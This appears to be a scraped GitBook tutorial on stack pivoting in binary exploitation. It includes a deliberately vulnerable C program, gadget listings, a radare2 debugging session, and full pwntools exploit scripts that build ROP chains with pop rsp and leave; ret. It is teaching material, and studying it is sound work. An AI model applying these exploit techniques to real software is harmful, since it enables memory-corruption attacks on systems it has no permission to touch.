arrow-left

All pages
gitbookPowered by GitBook
1 of 4

Loading...

Loading...

Loading...

Loading...

leave

Using leave; ret to stack pivot

hashtag
Exploitation

By calling leave; ret twice, as described, this happens:

By controlling the value popped into RBP, we can control RSP.

hashtag
Gadgets

As before, but with a difference:

hashtag
Testing the leave

I won't bother stepping through it again - if you want that, check out the .

Essentially, that pops buffer into RSP (as described previously).

hashtag
Full Payload

You might be tempted to just chuck the payload into the buffer and boom, RSP points there, but you can't quite - as with the previous approach, there is a pop instruction that needs to be accounted for - again, remember leave is

So once you overwrite RSP, you still need to give a value for the pop rbp.

hashtag
Final Exploit

Exploitation

Stack Pivoting

hashtag
Source

file-archive
3KB
stack_pivoting.zip
archive
arrow-up-right-from-squareOpen

It's fairly clear what the aim is - call winner() with the two correct parameters. The fgets() means there's a limited number of bytes we can overflow, and it's not enough for a regular ROP chain. There's also a leak to the start of the buffer, so we know where to set RSP to.

We'll try two ways - using pop rsp, and using leave; ret. There's no xchg gadget, but it's virtually identical to just popping RSP anyway.

Since I assume you know how to calculate padding, I'll tell you there's 96 until we overwrite stored RBP and 104 (as expected) until stored RIP.

hashtag
Basic Setup

Just to get the basics out of the way, as this is common to both approaches:

mov rsp, rbp
pop rbp
mov rsp, rbp
pop rbp
// gcc source.c -o vuln -no-pie
#include <stdio.h>

void winner(int a, int b) {
    if(a == 0xdeadbeef && b == 0xdeadc0de) {
        puts("Great job!");
        return;
    }
    puts("Whelp, almost...?");
}

void vuln() {
    char buffer[0x60];
    printf("Try pivoting to: %p\n", buffer);
    fgets(buffer, 0x80, stdin);
}

int main() {
    vuln();
    return 0;
}
pop rsp walkthrough
$ ROPgadget --binary vuln | grep 'leave'
0x000000000040117c : leave ; ret
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
    'A' * 96,
    buffer,
    LEAVE_RET
)

pause()
p.sendline(payload)
print(p.recvline())
mov rsp, rbp
pop rbp
payload = flat(
    0x0,               # account for final "pop rbp"
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
    buffer,
    LEAVE_RET
)
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0x0,               # rbp
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,
    elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
    buffer,
    LEAVE_RET
)

pause()
p.sendline(payload)
print(p.recvline())
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

pop rsp

Using a pop rsp gadget to stack pivot

hashtag
Exploitation

hashtag
Gadgets

FIrst off, let's grab all the gadgets. I'll use ROPgadget again to do so:

Now we have all the gadgets, let's chuck them into the script:

hashtag
Testing the pop

Let's just make sure the pop works by sending a basic chain and then breaking on ret and stepping through.

If you're careful, you may notice the mistake here, but I'll point it out in a sec. Send it off, attach r2.

You may see that only the gadget + 2 more values were written; this is because our buffer length is limited, and this is the reason we need to stack pivot. Let's step through the first pop.

You may notice it's the same as our "leaked" value, so it's working. Now let's try and pop the 0x0 into r13.

What? We passed in 0x0 to the gadget!

Remember, however, that pop r13 is equivalent to mov r13, [rsp] - the value from the top of the stack is moved into r13. Because we moved RSP, the top of the stack moved to our buffer and AAAAAAAA was popped into it - because that's what the top of the stack points to now.

hashtag
Full Payload

Now we understand the intricasies of the pop, let's just finish the exploit off. To account for the additional pop calls, we have to put some junk at the beginning of the buffer, before we put in the ropchain.

hashtag
Final Exploit

$ ROPgadget --binary vuln | grep 'pop rsp'
0x0000000000401225 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

$ ROPgadget --binary vuln | grep 'pop rdi'
0x000000000040122b : pop rdi ; ret

$ ROPgadget --binary vuln | grep 'pop rsi'
0x0000000000401229 : pop rsi ; pop r15 ; ret
POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
    'A' * 104,
    POP_CHAIN,
    buffer,
    0,            # r13
    0,            # r14
    0             # r15
)

pause()
p.sendline(payload)
print(p.recvline())
$r2 -d -A $(pidof vuln)

[0x7f96f01e9dee]> db 0x004011b8
[0x7f96f01e9dee]> dc
hit breakpoint at: 4011b8
[0x004011b8]> pxq @ rsp
0x7ffce2d4fc68  0x0000000000401225  0x00007ffce2d4fc00
0x7ffce2d4fc78  0x0000000000000000  0x00007ffce2d4fd68
[0x004011b8]> ds
[0x00401225]> ds
[0x00401226]> dr rsp
0x7ffce2d4fc00
[0x00401226]> ds
[0x00401228]> dr r13
0x4141414141414141
payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp - now stack points to our buffer!
)
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225                   # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
    0,                 # r13
    0,                 # r14
    0,                 # r15
    POP_RDI,
    0xdeadbeef,
    POP_RSI_R15,
    0xdeadc0de,
    0x0,               # r15
    elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

payload += flat(
    POP_CHAIN,
    buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

Stack Pivoting

Lack of space for ROP

hashtag
Overview

Stack Pivoting is a technique we use when we lack space on the stack - for example, we have 16 bytes past RIP. In this scenario, we're not able to complete a full ROP chain.

During Stack Pivoting, we take control of the RSP register and "fake" the location of the stack. There are a few ways to do this.

hashtag
pop rsp gadget

Possibly the simplest, but also the least likely to exist. If there is one of these, you're quite lucky.

hashtag
xchg <reg>, rsp

If you can find a pop <reg> gadget, you can then use this xchg gadget to swap the values with the ones in RSP. Requires about 16 bytes of stack space after the saved return pointer:

hashtag
leave; ret

This is a very interesting way of stack pivoting, and it only requires 8 bytes.

Every function (except main) is ended with a leave; ret gadget. leave is equivalent to

Note that the function ending therefore looks like

That means that when we overwrite RIP the 8 bytes before that overwrite RBP (you may have noticed this before). So, cool - we can overwrite rbp using leave. How does that help us?

Well if we look at leave again, we noticed the value in RBP gets moved to RSP! So if we call overwrite RBP then overwrite RIP with the address of leave; ret again, the value in RBP gets moved to RSP. And, even better, we don't need any more stack space than just overwriting RIP, making it very compressed.

pop <reg>                <=== return pointer
<reg value>
xchg <rag>, rsp
mov rsp, rbp
pop rbp
mov rsp, rbp
pop rbp
pop rip